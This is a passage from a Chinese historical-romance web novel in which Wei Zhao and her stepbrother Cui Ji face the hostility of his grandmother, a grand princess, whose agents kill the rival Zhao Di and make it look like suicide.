崔绩再次看向那画像,眼神如夜下湖水,静默又漆深。 半晌,似自言自语,“我们不愧是母子。” 第72章 * 父子俩一出书房, 打眼就看到不远处的魏绮罗和魏昭。 天色微昏,母女俩似是一对姐妹花,一个艳绝若桃花, 另一个娇美如梨花,皆是美目生妙, 颜色胜过万千姹紫嫣红。 四人目光交错时,气氛说不出来的微妙。 一家人还是一家人, 但此一家人好像与先前又有所区别。 崔洵下意识去看身边的儿子,但见崔绩的眼神不掩情意,直勾勾地盯着人看时,暗自在心里直呼想不到。 犹记得三年前,他们这对继兄妹第一次见面时, 那般的生疏, 过后私下相处时, 他还提点儿子几句, 让其对继妹莫要太过冷淡。 而今这般痴痴,当真是出人意料。 思及此, 他轻咳一声,对所有人道:“进去吧。” 魏昭从他的态度中看出来, 他对他们的事, 或者说是对崔绩的决定应该没有异议。可能因为他自己就是真爱至上的人, 当然不会出于门第有别而断送别人的情路。 既然如此, 对他们而言倒是方便。 她没动, 道:“父亲, 我有话想和兄长说。” “父亲,你们先进去。”崔绩跟着说。 崔洵看了看他们,微微点头, 然后和魏绮罗进了屋。 屋子里已点灯,灯光透出来,照亮着四周。 魏昭走远了些,完全避开光亮所到之处,她不用回头,也知道人就在她身后,像是如影随形一般。 等确认屋内的人完全看不到他们后,她才停了下来。 “兄长这么做,不觉得有些过了吗?” 崔绩压着眉眼,眸色如晦,“你觉得我过分?” 她转身抬头,面上虽不见怒色,却有隐忧,“你如此闹大,还让别人帮你,且不说他们怎么想,事情定然会传到你外祖母耳中,到时候你要怎么收场?” 最重要的是,她要怎么收场? 赵狄口中所谓的将来就算是真的,其中定有现在的她不知道的曲折,眼下剧情还没有走完,她根本不知道自己应该做什么。 “我就是想让她知道,想让所有人知道。”崔绩欺近,欲伸手抱她。 她灵巧地躲开,“你注意点!” 这可是在外面! 府里人多眼杂的,万一被人看了去,少不得传出一些闲话来。多事之秋,实在没有必要再平添是非。 崔绩的动作落了空,见她一副警惕的模样,手慢慢成拳,声线低沉,“有些事发生时无人知,或无声无息消散,或被人刻意掩盖,再无见天日的一天,人亦如此。” 她徒然心惊。 他说的可是那位燕王世子? 所以他这么做并非仅是为张扬而张扬,而是防止独孤岚对她做些什么! 多疑之人宁可信其有,不会信其无,先前为了试探她,独孤岚频频动作。如今从赵狄嘴里知道那些事,岂会置之不理? “对不起,是我错怪你了。”她不是不知好歹之人,既知自己误会,自是诚恳道歉。那么接下来,我们该怎么办?” “我会派人暗中保护你。” 她闻言,提着的心稍稍缓和了些。 以他们现在的关系,有些事倒是可以问上一问,“你之前夜闯樊城大牢,到底在查什么?” 崔绩何等敏锐,立马就感知到她态度的变化,从而断定她心境发生的转变,眼底的幽漆瞬间化开,如春水开始荡漾。 过了一会儿,又深沉起来,“我想知道当年到底发生了什么?那个人是否真是自尽?” 本着结果去寻找真相,求的不止是身世的缺失,还是他的来路。 他再次拥她入怀,这次她没有拒绝。 “知之,不管日后会发生什么,我们一定会在一起。” 依照赵狄所言,他们确实会在一起。 那么一个知悉未来之事,暗中处处害她的人,一日不除,便一日都要防着。她已经动手了,便绝对不允许对方有翻身的可能。 “兄长,赵狄有底牌,她肯定会利用的。” “不怕。”崔绩埋首在她颈间,气息灼热,“她的底牌,或许正是她的催命符。” * 城北的一处宅子外,始终有人守着。 朱漆铜环的门紧闭,上面未见表明主家身份的匾额。院内应是有些日子没被好好打理过,树木枝丫疯长无形,墙根底下长着不知名的杂草。 但此时却是住了人的,亮着灯的屋内隐约还能听到有人在说话。 “欣然,你能不能告诉祖母,你到底有何打算?”赵老夫愁得看上去像是又老了好几句,法令纹都深了好多。 她看着还有心情沏茶慢品的赵狄,实在是不知道事情到了这个地步,自己的孙女为何还是不惊不慌的样子。 “祖母莫急,纵是律法有令,但谁家没有几个犯事的奴才,也不见哪家的主子真的被降罪。只要有人出面替我斡旋,必定不会牵扯到我。” 理是这么个理,赵老夫人闻言却是更愁,“如今崔家应是不会管我们,哪里还有人会帮我们?” 赵狄慢条斯理地抿了一口茶,皱起眉嫌弃地道:“那起子势利小人,打量着我们失了势,竟然拿这陈茶糊弄,且给我等着!” “欣然……”赵老夫人可不管上这茶是好还是坏,这一天一夜以来,她饭都没吃几口,更不在意什么陈茶新茶,“要不我再去求你姨祖母?” “求她作甚!”赵狄将茶杯重重放下,脸色阴沉,“不用他们,我也能无事。” 赵老夫人见她起身,忙跟了上去。 她先是换了一身素青的衣裳,然后对着镜子梳发,收拾妥当后,又照着变化了几个截然不同的表情。 一时可怜,一时凝重。 赵老夫人被她弄得莫名,还当她怎么了,大急,“欣然,你这是怎么了?你不要吓祖母……” “祖母,我要去见大长公主。” “你……你去求她帮你说情?她能答应吗?” 她看着镜子里的自己,自信满满,“我有她想要的东西,她不可能会拒绝。” 守着她们的人不会限制她们进出,只是无论她们去哪里都会紧紧跟随,即便是这个时辰她要出门,也没有人过问。 斗南默默地跟着她,来到公主府的门外。 她在公主府住过,府里的人都认识她,她并未一开始就说要见独孤岚,而是求见荣嬷嬷。 不多会儿,传话的人来回复,说是人不得闲,无法抽身来见她。她自是知道这是托词,当下对那传话的人耳语一番,还塞了一个荷包给对方。 传话犹豫了一会儿,没收她的好处,却是又跑了一趟。 这一次回来,对着她便没有好气,“你赶紧走吧。” 说完,也不等她再说什么,“嘭”地一声将门关上。 她没想到会吃闭门羹,也不可能就此作罢,遂不死心地等在外面。或许是她运气好,竟还真让她等到独孤岚出门。 独孤岚一出现,她立马冲了过去。 侍卫们拦着她,她只能拼命高喊。 “殿下,殿下,臣女有重要的事要禀报殿下!” 独孤岚朝她这边看了一眼,目光极冷,如锋利的兵刃。 她见独孤岚不为所动,再次喊道:“事关江山社稷,还请殿下听臣女一言!” “放肆!”荣嬷嬷过来,眼神不虞地盯着她,“江山社稷也是你妄言的,念在你曾有功的份上,殿下不计较你的失礼,还不退下!” “嬷嬷,我是真的有要事,事关天下安稳……” 她话还没说完,便被侍卫们给架走。 望着远去的马车,她是满眼的不甘,咬着牙,低语着,“大长公主,这是您自己的选择,日后莫要后悔!” 雕花漆金的华贵车厢内,荣嬷嬷问自家主子,“殿下为何不听听她怎么说?” “人言皆为己,一面之词真假难辨。”独孤岚轻哼一声,“本宫自有认定与眼光,将来之事无需旁人告知,不过是些似是而非的话,何必要听?” 荣嬷嬷点头,“殿下所言极是,奴婢受教了,只是她此举必是为了脱罪,殿下不见她,她或许会找别人……” “她这是自寻死路!”独孤岚气场一开,哪怕是在这一方空间内,仍然气势惊人,“倘若她死守着自己的秘密,本宫倒是懒得理她,眼下她狗急跳墙,那就不能留了。” * 是夜。 四更的梆子声响过,赵狄猛地被惊醒。 这一醒来立马发现不对,不等她反应过来,黑暗中传来阴森的声音,“你终于醒了,那就上路吧。” 与此同时,她脚下一空,整个人悬起来,脖子处紧勒着的感觉让她知道自己正处于什么样的境况。 她想喊,喉咙却被卡着根本说不出话来,惊惧与慌乱中,只有凭着求生的本能挣扎着,但一切都是徒劳无功。 “因果报应,害人终害己,你逼死你的丫环,让她替你顶罪时,恐怕没有想过自己也会有今日。这吊死的滋味,你合该尝一尝。” 那阴森的声音再次传来,她拼命地蹬着腿,发出含糊垂死的呜呜声,企图让那人救自己。 “你是不是觉得自己知晓所谓的将来之事,便有倚仗和筹码,当真是可笑至极!且不说你说的是真的是假,纵然是真的,以你的身份和地位,大抵都是道听途说,又有几分可用?” 她猜到了对方是谁的人,无比的惊骇着。 不应该这样的! “若你真的知道不少,又岂会抢了别人的机缘,到头来却还是一场空?这说明你不仅知之不多,还是个极其无能之人,你这样的人,不堪大用,也不能留,还是哪里来哪里去,莫要在世上丢人现眼的好!” 濒死的感觉让她绝望,窒息之中却能听到这些话。 她记得自己时隔多年再次迈进崔府大门的情形,那么的忐忑不安,那么的自惭形秽,恨不得将自己缩成一团,不去面对别人怪异轻视的目光。 姨祖母嘴上说着可怜自己心疼自己的话,却是明显有几分嫌弃,嫌弃她命不好,嫌弃她是被休之身。所有人都怕她坏了崔家的门风,躲着她避着她,就连府里的下人,也敢在背后说三道四。 为了能留在崔家,她只能忍气吞声。 她还记得再见表哥的那天,在看到表哥身边那女子的第一眼,涌上她心头的不止是羡慕,还有浓浓的嫉妒。 那个人出身很低,和她一样丧父丧母,却偏偏好命成了崔家的继女,还嫁给了表哥,独占着宠爱。 无非就是因为救过大长公主,被大长公主接到公主府小住时极尽讨好,又是学医又是习武的,讨得了大长公主的欢心,从而飞上枝头。 若换成是她,她也能做到! 这个念头一起,就像是长出了心魔,没日没夜的折磨着她。 天可怜见,老天还真的给了她机会。但是她明明不仅照着做了,还提前有所准备,为何没有成功? 那个魏昭凭什么可以! 如果当初她没有离京,而是与表哥一起长大,是不是所有的事都会有所不同?她恨,恨父母死得早,恨祖父没担当…… 她意识很快涣散,原本抓着脖子的手骤然垂下。 良久,死寂的黑暗中再次传来那阴森的声音。 “蠢货就是蠢货,自以为窥得天机,便照着别人的样子画虎,岂不知画皮易,画骨难,注定成不了气候。” 第73章 * “啊!” 赵老夫人是第一个发现孙女死了的人, 她尖叫着,惊动守在外面的斗南和衙役。 他们冲进来,看见悬在半空的赵狄, 赶紧解下来。 人早就咽了气,身体都有些微微发硬, 赵老夫人哭喊着,根本不愿相信孙女已死的事实, 厉声指使他们去请大夫。 斗南没说什么,一边让人去报信,一边派人去请大夫。 大夫和崔绩一前一后赶到,赵老夫人一看到人,直接扑过来, 死死扯着崔绩的袖子。 “绩哥儿, 你一定要救欣然……” 崔绩垂眸看她, 神情清冷, 目光平静。 大夫不用上手,也能看出人早就死了, 却还是做着样子诊脉查验,“大人, 这位姑娘已经去世了。” “不, 不可能!”赵老夫人大喊, “我的欣然不会死, 她不会死的!你们快救她, 你们快救她!” 她见崔绩不动, 表情凶狠起来,“绩哥儿,你怎么不救我的欣然?她做的一切都是为了你, 你为什么这么狠心?” 光是喊叫还不够,她开始撕扯崔绩。 崔家人赶到时,看到的就是这一幕。 盛氏快走几步,到了跟前一把将她拉开,“你这是做什么?欣然走了,你心里不好受,也不能这么为难我的绩哥儿!” 她大哭起来,“姐姐,你快救救欣然,欣然她没有死,她不会死的,她不会丢下我的……她不会的……” “你这个样子,让欣然怎么走得安心。”盛氏叹着气,到底还是心疼自己的妹妹。 “不,我的欣然不可能死……她昨天还说有法子脱身,她怎么会自尽……”赵老夫人喃喃着,眼睛越来越厉。 夜里赵狄从公主府回来后,脸色虽然很不好看,说独孤岚没有见自己,但却并没有心灰意冷,而是计划着再去见什么人。 那笃定的样子,以及胸有成竹的表情,绝对不是一个心存死志之人! “一定是有人害她,她是被人害了!” 她吓人的目光倏地看向斗南几人,“是你们……就是你们,是你们害死了我的欣然,我要和你们拼了!” 盛氏下意识皱眉,身边的吴嬷嬷已快一步将她拦住。 “这都是你们的阴谋……你们……你们全都是一伙的!”她大喊大叫着,状若疯癫。 这时仵作验完尸,向崔绩禀报,说死者的死状符合自缢身亡的特征。勘验现场的人也没有发现异样,屋内没有任何其他人的痕迹。 她不肯接受孙女是自尽的事实,跌跌撞撞地过去,一下子瘫坐在盖着白布的尸体旁,抖着手将白布揭开,又像是受到极大的惊吓般蒙上。 “我的欣然,我的欣然……她不会死,她不可能自行了断……都是你们害了她,是你们,是你……”她猛地抬头,恨恨地看向魏绮罗身后的魏昭。 那吓人的目光,仿佛要将人给杀了。 她冲过来,还没有到魏昭跟前,就被崔绩挡住。 “是你们,是你!”她瞪着崔绩的眼神,像是要吃人,“是你被这小贱人迷了眼,伤了欣然的心,害死了欣然!” 白发人送黑发人,她的悲痛情有可原。 可悲又可笑的是,在场这些人当中,除了魏昭和崔绩,没有人相信她说赵狄不可能自尽的话。 但她将恶名扣在他们头上,便是盛氏也有些看不过去,“你说的这是什么话,欣然丫头为什么会这样,你难道不知道吗?” “姐姐,你这是什么意思?”她流着泪,越显苦相,“你这是在怪我?我落到今天这个地步,难道不是姐姐你害的吗?当初若不是你执意让我嫁进赵家……我何至于丧子丧夫,到头来连唯一的孙女都死了……” 盛氏一噎,自责与愧疚齐齐涌上心头。 “是你……你毁了我一辈子!我恨你!” 这带着恨意的指控,让盛氏陷入强烈的情绪中,整个人都在摇摇欲坠,眼前一黑晕了过去。 她醒来时,人已在听闲堂。 守在身边的人是魏绮罗,以及几个孙辈。 魏绮罗将她扶起靠坐床头,还给她腰后垫了枕头,再喂她喝过水后,细声细语地告诉她,说杨氏留在了城北那边,一是要照看赵老夫人,二是要料理赵狄的后事。 她神情黯然着,摆手让所有人都出去。 却又张了张嘴,有气无力地说了一句,“昭丫头留下来。” * 魏昭八岁进崔府,顶着半个崔家姑娘的名头,一直是这座府邸的边缘人物,像今日这般被盛氏单独留下,还是头一遭。 她慢慢过去,在盛氏的示意下坐到床边的矮凳上。 安神香幽幽,却无人能心静。 一阵冗长的沉默后,盛氏语气沉重地开口,“当年我替她择婿时,诸多要求百般思量,最后为她选定赵家。赵家家境虽不显,却胜在无宗族长辈掣肘,赵家妹夫又是个清正包容之人。她嫁过去后果真如我所料,当家做主夫妻恩爱,哪成想最后竟是这样……” 魏昭没想到到,这位继祖母竟然会和自己这个继孙女说这些事。按照常理来说,哪怕是心中苦闷,急需找个人倾诉,也不会找她。 她不好接话,唯有静静地听。 盛氏应该也不需要她的回应,叹了一口气后,继续道:“我这辈子最对不起的两个人,一个是她,另一个就是绩哥儿。” 这下她终于明白对方的意图,并不是和她谈论赵老夫人的事,重点在崔绩。 “那孩子一生下来就没了娘,被他的外祖母养在身边。大长公主是领兵之人,行事手腕皆是雷霆,对他极其严厉,三岁就开始操练身体,天不亮就起,半夜才睡,身上一直带着伤,我每每听人说起,心里都难受得紧。” 崔绩的幼年,她想她应该算是参与过。在那个梦里,小小的孩童确实如盛氏所言,晚睡早起身上总是有伤。 如今听人说起,分外的不是滋味。 而盛氏,眼眶已经微红,“他幼年时偶尔回来,最喜欢跟在他父亲身后,我看得出来,他想留在他父亲身边,我也曾想过去找大长公主商议,却反复权衡着,以为他在公主府才是最好的出路。” “兄长定然明白您的苦心。” 她的话,换来盛氏的一声苦笑。 “倘若我知道他长大后会变得性情淡泊,事事无欲无求的样子,当年我无论如何都会去找他外祖母要人,可惜啊,万金难买早知道……我若早知道,便不会让你姨祖母嫁去赵家,我若早知道,绩哥儿他也不会是如今这般性子。” 盛氏说着,一把握住她的手,“昭丫头,我看得出来,你对他也有情。我也知道,你是个懂事的孩子,正是因为知晓事理,你必定也是诸多考虑,但这世上难有两全之事,你可要想清楚。” 她不难从这番话中听出支持的态度的,之所以让她想清楚,无非是两个意思。一是如果她选择拒绝,便是有违自己的心意,确实应该好好想想。二是若是她想和崔绩在一起,更应该好好想想,接下来如何应对独孤岚。 独孤岚的手段,她以前只听闻过,而今算是真正见识到。 赵狄不可能是自缢身亡,但官府的人都查不到蛛丝马迹,可见上位者的手段,抹杀一个人时,连任何的痕迹都不会留下。 那么她呢? 如今的她,算是彻底暴露在对方面前,独孤岚会怎么做? * 离开听闲堂后,她去见了魏绮罗。 魏绮罗得知她现在就要回魏宅,还当她是躲清静,并未多想。 她之所以这个时候走人,是想着倘若真有什么事,崔家也护不了她,还不如自己的事自己当,不要牵扯其他人。思及之前独孤岚为试探她时做的事,她一路上都提着心,顺利抵达家门口后,不是松了一口气,而是始终悬着心。 安顿好没多久,隔壁传来悠扬的琴声。 很显然,李戌还在。 她站在宅子之间的院墙边,对那边的人道:“我可能惹了一些麻烦,大长公主已经盯上了我,你若还留在这里,恐怕会被我连累,还是趁早走的好。” 琴声戛然而止。 很快墙的那边传来李戌的声音,“我知道了,我会小心的,你也当心些,若需要我帮忙,尽管开口。” 她言尽于此,想着他如果是个聪明人,应当知道该怎么做。毕竟以他的身份,一旦被别人察觉出端倪,必是关于性命的凶险。 几人聚在一起说话时,月婆婆告诉她,另一边的隔壁换了住家。 “看着是一对父子,这两日都在修葺搬东西,听口音像是安元府下面的人。” 她的目光越过院墙,若有所思。 过了一会儿,示意白鹤搬个凳子出来,然后踩着凳子去看,正好看到那父子俩在院子里修整,从身段体型,以及动作手法来看都是有力气之人。 白鹤问她他们可有不妥之处,她没有回答,心中隐隐有些猜测。 忽然,她似有所感,目光望向外面。 一辆宽大却低调的马车从巷子口驶来,驾车之人一看就是练家子,随车的人亦是如此。等那马车正好停在她家门口,她赶紧从凳子上下来,搬起凳子送回屋内。 “咚咚” 敲门声响起,如一块巨石将她悬的心砸了下去。 月婆婆问了一声是谁,听到外面的人说是来找自家姑娘的,下意识用眼神询问她。 来都来了,哪里能躲得掉。 她朝月婆婆微微颔首,月婆婆这才将门打开。 当看到独孤岚的那一刹那,她被砸到底的心反倒轻松了些,因为对于上位者而言,愿意来明的,说明事情尚有转寰的余地。 “你可知本宫为何来找你?”独孤岚背着手,四下扫了一眼,开门见山地问她。 纵是一身常服,却散发出杀伐果决的气场,震慑所有人。 明人不说暗话,她也没有必要再装,“民女斗胆一猜,殿下屈尊前来,应是为了兄长。” 独孤岚闻言,似笑非笑地看着她,“是个聪明人。” 第74章 聪明人对聪明人, 就像是两面镜子,你照着我,我映着你。你的光中折射中我的阴面, 我的正面倒牵出你的影子。 论气势,自然是独孤岚更胜一筹。但魏昭不惧不躲的姿态, 也未见落下风。 一时气氛胶着,似两军对阵般, 这种久违的感觉让独孤岚有些意外,目光却更是锐利,锋芒毕现地看着眼前的人。 打从她真正掌权开始,已有许多年没有人敢这么与她对视,她不得不承认, 这是自己这些年来头一回看走眼。 “你既然知道本宫为何来找你, 那应当也知道该怎么做?” “敢问殿下, 民女应该怎么做?” 她万没料到魏昭会反问, 气场大变的同时,微微眯起眼睛, “女子一生所求,不过是桩好姻缘。你也算是和本宫有缘, 虽出身不高, 但还算聪明, 本宫可以许你一门亲事, 如何?” 这门亲事的人选, 想也不用想, 必不会包括崔绩。 魏昭看着她,表情未变,也未流露出任何情绪, “民女常听人颂赞殿下,殿下这般人物,当称得上是世间女子第一,镇守边关上阵杀敌,不输任何男子,不同于所有闺阁之人。 民女以为殿下之眼界,必不会困于高墙内宅,却没成想也会说出女子一生所求,不过是桩好姻缘的话来,不免有些失望。” 失望两个字,似开战前的鼓,一下下重重地敲她心上,如山呼海啸震耳欲聋。 她瞳孔猛缩着,突地吸进一口凉气,那凉气竟是有形般,尖锐地刺痛了她多年来止如水的心脏,令她十分的不适。 “放肆!”荣嬷嬷感知到她的异样,凌厉地质问魏昭,“你是什么身份?谁许你如此和殿下说话的?” 魏昭连她都不怕,何况是她身边的人,当下回道:“殿下有问,民女如实照答,何来放肆一说?” 又对她福了福身,说:“殿下能屈尊前来,民女感到万分荣幸。但民女以为,不管身份高低贵贱,世人皆有自己想做之事,身为女子也大有可为,未必只能囿于高墙之内。” 她已恢复上位者该有的态度,眉宇间尽显威严,目光睥睨着,轻慢地扫了一眼在场所有人,“窥一叶,而以为知万物,仅凭曾混迹江湖之人的几句话,便以为知天下事,当真是可笑。” 魏昭闻言,心下了然。 当权之人若想查什么人,哪怕再是时隔多年,再是隐藏得好,想来也不费什么工夫,所以月婆婆和风师公的来历,这位大长公主殿下肯定是一清二楚,甚至比她知道的还要多。 她深感无力,这样的处境让她仿佛回到刚穿来的时候,且更遭。 “民女见识浅薄,难免贻笑大方,还请殿下莫怪。” 独孤岚轻哼一声,“这么说,本宫的好意,你不打算领情?” 魏昭摇头,“殿下,民女是无大志之人,也没想过要攀什么富贵,只想着不管遇到什么的人,当以自己欢喜为主。” “好一个以自己欢喜为主!”独孤岚几步走近,气势骇人,“你先前放走的那个下人,本宫可以帮你找到,为表本宫对你的欣赏,还会赐你一座宅子,你看如何?” 当初那些话本来就是她胡诌的,没想到对方竟然拿来堵她的后路。 若她识时务,当知进退。她小心谨慎多年,更知如何才能明哲保身,但事到如今,已经不是她想退就能退那么简单。 “殿下,您当知关键所在,并非在于民女,而在兄长,您若有所安排,为何不与兄长商议?” “你大胆!”独孤岚终于没了耐心,明显有了杀意,“本宫如何行事,何需你来教?” 这时门被人从外面推开,白衣胜雪的人疾步如风,仿佛是六月里突如其来的大雪,漫天漫地的席卷而来。 须臾,崔绩以绝对的守护之姿,将魏昭当在自己身后,直面着独孤岚,“事情皆由臣而已,臣以为她说的没错,殿下若有任何不满,当冲着臣来。” 此情此景,仿若往事重现,一时让独孤岚有些恍惚,眼前之人的五官,逐渐与另一个人的交叠着。 很多年前,她最为疼爱的女儿就是这般以身相护,挡在别人的前面违背她的意愿,说着让她痛心的话。 “娘,是我心悦清风表兄,与他无关,您不要怪他,要怪就怪女儿心不由己,实在是无法控制自己的感情。” 恍惚之后,她内心深处涌现起无边的愤怒。 “孽障!你敢忤逆本宫!” “殿下怕是忘了,臣的出生就是对您的忤逆。” “你……”她大怒,一个转身从随行侍卫的腰间取剑,直指崔绩,“谁给你的胆子和本宫这么说话,当真以为本宫不敢杀你吗?” 剑气森然,散发着浓浓的杀意,寒光划过魏昭的视线。 她下意识想将崔绩拉开,却被他制止住。 他声音很低,“躲不掉的。” 这一刻她更懂他的难处,骨肉至亲铸就的命运枷锁,除去以命相搏,否则根本逃不掉这深植血脉的桎梏。 “殿下要杀便杀,臣绝无怨言,但一切皆由臣而已,还请殿下莫要迁怒其他人。” “本宫如何做事,还用你来教?”独孤岚语气极重,仿佛面对的不是自己嫡亲的外孙,而是一个仇家。 而崔绩的声音却更低,“殿下行事,臣岂敢置喙?举凡是有碍殿下之人,悉数被抹去,臣只是有一事不明,当初臣出生时,殿下为何不直接把臣给杀了?” 他与独孤岚对峙着,互不相让。 斜阳快要下坠,残存的余辉拖拽着,似是想抓住万物的影子,将影子越拉越长,直至消失不见。 正如他们祖孙二人之间的关系,哪怕有人曾经期待过,却在漫长的冷漠岁月中一点点地埋葬,最终只剩割不断的血缘。 良久,独孤岚缓缓放下手中的剑。 等到人走了,悲凉还在。 魏昭第一次主动去握崔绩的手,他像是抓到救命稻草般,紧紧地将她的手包裹着。 * 暮色四合,炊烟起。 月婆婆烧了几个拿手好菜,将饭菜端上桌后,一副欲言又止的模样。 魏昭知道她想问什么,安慰道:“你们的事不打紧,不必放在心上。” 她还是不太放心,不时看向崔绩。 崔绩道:“她虽然手段雷霆,却也直接,不会与人绕弯子。” 这话倒是不假。 真正的上位之人,想做什么事根本没有必要来虚的。 月婆婆这才松了一口气,退了出去。 她的拿手菜自然都是魏昭爱吃的,不似宫廷御膳的名贵,也没有世家高门的讲究,却满是烟火气。 一方不大的圆桌,两人同坐一边。 烛火渲染着,尽显温馨之色,仿佛是劫后余生的安宁。 崔绩先是给魏昭盛汤,接着又是夹菜。魏昭也不扭捏,反手也给他夹菜,你来我往的,倒像是一对寻常的小夫妻。 “这样真好。”他叹息着,被暖化的气质越发如玉。 那眼中的温柔与依赖,是暗夜中突然看到了光亮,也是独行时巧遇上同路的伙伴,更是孤独太久的灵魂终于找到契合的眷恋。 魏昭心有所动,也跟着感慨,“是啊,这样真好。” 没有剧情任务,她可以暂时不管他们在书的身份,没有所谓的男主,也没有所谓的恶毒女配,她是她,而他也只是他。 用过饭后,他也没急着走。 两人坐下来说话,谈论的当然是接下来该怎么做,说着说着忽然齐齐没了声,你看着我,我看着你,然后头渐渐凑到一起。 唇齿交缠,相濡以沫。 崔绩克制着身体的叫嚣,艰难地停止动作,“时辰不早了,我该走了。” 他清楚自己若再不走,恐怕就走不了了。 才迈开腿,便感觉衣服被人扯住。 “知之,你……” 魏昭仰着脸,暖光中越显肤如凝脂,“天晚了,那就别走了。” “你可知你在说什么?”他压着声,如同压着心底那头快要冲出来的巨兽。 “我当然知道自己在说什么。”魏昭慢慢站起,手伸向他的腰间,将自己的身体贴了过去。 她觉得那位继祖母说的对,这世间诸事恐怕都难两全,她一心想着等走完剧情,再来计较自己的心意。但是她却是忘了,倘若剧情走完后,一切回归书中,对她而言岂不是一场空? 说她自私也好,说她只管今天不管明天也好,她不想再为了一个不知是谁的女主,而枉顾自己的感情。 何况她还不知道自己有没有明天! 当她主动缠上来时,崔绩再也压制不止自己的渴望,任由那虎视眈眈的巨兽肆意而为,贪婪地享用着垂涎已久的美味。 芙蓉帐内,软玉销魂。 不知过了多久,一场狂风暴雨将歇,她还被男人压在身下,娇喘微微时,脑海中突然冒出系统的声音。 【恭喜宿主触发任务完成大礼包,喜提女主身份,本系统从今日起正式下线,祝宿主生活愉快。】 “……” 她有些难以置信,下意识自言自语,“就这样完了?” 正准备抽离的人闻言,气息骤然一变,重重将身体一沉。 “!” 她不由得两腿发软,暗暗叫苦。 这下是真的完了! 第75章 * 夜很长, 无眠的人不少。 偌大的公主府,冷清而寂静,香火的气息从祠堂内飘散出来, 烛光照着门口石雕麒麟,越显雕像森然。 独孤岚望着牌位之上的画像, 神情透着几分疲惫之色,“蔚儿, 你是不是还怪娘?你是不是还在报复娘?” 哪怕是画卷被烛火日夜熏染着,颜色不再鲜亮明艳,但画中的女子却始终没有变过,永远是年轻的模样。 “殿下,郡主最是知道您的苦心, 岂会怪您?”荣嬷嬷安慰着, 也在看那幅画。“郡主, 奴婢求求您, 您托个梦给殿下,好让殿下心安。” 画中人自是不会回应她们, 但那眉宇间淡淡的忧愁,仿佛是答案。 独孤岚微微俯低身体, 抚摸着牌位, “蔚儿, 你一定还在怪本宫, 怪本宫拦着你, 你到死都不明白本宫的心!本宫只盼着你能好好活着, 荣华富贵一生……为什么你不理解本宫,非要和本宫作对,本宫不允许你和那个人在一起, 你偏要忤逆本宫!” “殿下,郡主没有怪您,您何必自责?您那么疼她,她比谁都清楚,千错万错都是那个人的错,与郡主无关哪!” 独孤岚俨然有些崩溃的情绪,因为荣嬷嬷这话而重新聚拢,她取出帕子来,小心翼翼地擦着那牌位。 这一刻她不是高高在上的大长公主,也不是威风凛凛的将帅,只是一位痛失爱女,白发人送黑发人的母亲。 “我的蔚儿,若是你还活着……那该多好!” 若不是那父子俩,她的女儿怎么会死! 那个孽障,竟然还和她对着来,当真也是一头养不熟的白眼狼。 “娘答应你的事都已做到,那孩子也长大成人了,也到了成亲的年纪,却不听本宫的话,你若在天有灵,记得托梦给他,告诉他什么才是正确的选择。” 牌位无声,死物焉能左右活人的思想。 她擦好之后,重新摆好,“本宫知道,他是个聪慧的孩子,和你挺像的,可能是想学你,故意做些事来气本宫。这些年本宫想明白了很多事,若是当初本宫不拦着你,或许你还不会走到那一步。” 说到这,她语气一变,如秋入了冬,刮起刺骨的寒风。 “本宫倒要看看,他能撑到几时?” * 魏昭醒来的时候,已经过了午时。 夜里累极睡去后,她好似陷入了女主的剧情,除了不可描述就是不可描述,各个地方各种姿势没完没了。 哪怕是睁开眼晴,面前仿佛都是那些没羞没臊的画面。 她不是自然醒的,而是被白鹤叫起的。 白鹤麻利地侍候她梳洗穿衣,当她坐到镜前,从镜子里看到自己的模样,竟有几分说不出来的陌生感。 当真是一支红梅春带雨,似是被浓浓春意狠狠滋润过,越显娇艳水灵,又似被熊熊烈焰洗礼过,如夺目的花火。 一番收拾妥当后,出去见人。 荣嬷嬷盯着她看了好一会儿,眼底明显有惊艳之色一闪而过,洋洋洒洒说了一大堆,意思是自家主子对她颇为欣赏,邀她进府小住几日。 这做派倒是客气,却又很熟悉。 当初独孤岚便是如此,将赵狄给接去了公主府。 她心想着,或许对于上位者而言,任何不确定的因素或者是人,他们都在掌控在自己的范围之内。 贵人相邀,若是拒绝就是不知好歹,她自是不会不识抬举。何况在她看来,那位大长公府殿下既然愿意和她玩明的,显然不可能在自己家里对她动手,她反而没什么好怕的。 但她也不想完全由着别人牵着鼻子走,遂道:“殿下抬爱,民女感激不尽,可否容民女修整一二,明日再去?” 荣嬷嬷似是料到她会这般,竟然没有半点为难。 等到人一走,白鹤和月婆婆风师公就围了过来,皆是满脸担心的模样。 她笑了笑,道:“不必担心,不怕她找我,就怕她不找我。” 若是风平浪静,表面上什么动作都没有,那才是最可怕的。 这时墙的那边传来李戌的声音,“知之妹妹,可否容我说几句话?” 她走到墙根,道:“你说。” 很快,李戌的上半身出现在墙头。 此情此景,与她记忆中的某个片段重合,那时他鲜少走正门,大多都是从这道墙往返两间宅子,极其的随意。 他或许也想到了从前,神情间有几许黯然。 白鹤和月婆婆风师公得了魏昭的示意,已各自散去。 魏昭退后一些,道:“你下来说话吧。” 李戌闻言,一个翻身到了她面前,目光深邃而复杂。物是人非这四个字用在他们之间,实在是再贴合不过。 她没有先开口,而是静待他说。 “我的祖父曾是漠北王的麾下,隶属于凤家军。” 他一开口,她立马就猜到他想说什么,想做什么。 “我父亲死后,我被我祖父的同僚派人接走,这些年听过很多关于当年的事,当年的事根本不是世人说的那样,漠北王没有反心,他是被冤枉的!” 相比他的情绪激动,魏昭太过平静。 尽管从崔绩的角度来看,以漠北王和燕王的关系,确实是个值得关注的人,但对于她而言,是她不想过问的存在。 李戌见她不为所动,扯了扯嘴角,不知是自嘲,还是化解自己的不自在,“我这次回来,其实就是为了他。他没有死,一直被关在樊城大牢。” 四王之乱的人都在樊城大牢,而有记载的是早在平乱之时,四王全都死了。 魏昭还是不说话,只等他接着往下说。 他声音越发的艰涩,应是觉得口干而不太自然地舔了好几下唇,“前些日子我得到消息,说是他已被转移,极有可能在公主府。我方才无意听到大长公主要接你去小住,你能不能帮我打探一下?” 艳阳高照,旧宅柿树,院落幽幽,是最为寻常的市井画卷。记忆中的男孩女孩就在这画卷中,形影不离打打闹闹。 魏昭垂了垂眸子,再抬头时眼神沉静,神色间未见任何的波澜与情绪,“想来你昨日应该也听到了我与大长公主说的话,当知她对我是什么态度。” “你与崔少尹确实身份悬殊……” “那你就应该知道她接我去公主府小住并不是因为看得起我,而是另有目的,更能猜到我如今的处境,说是自身难保性命堪忧亦不为过,却还让我帮你打探消息,你是嫌我死的不够快吗?” 说句难听的话,她的命都捏在独孤岚手上,眼下的情形已经岌岌可危,如果再多出一事惹恼了对方,她怎么死的都不知道。 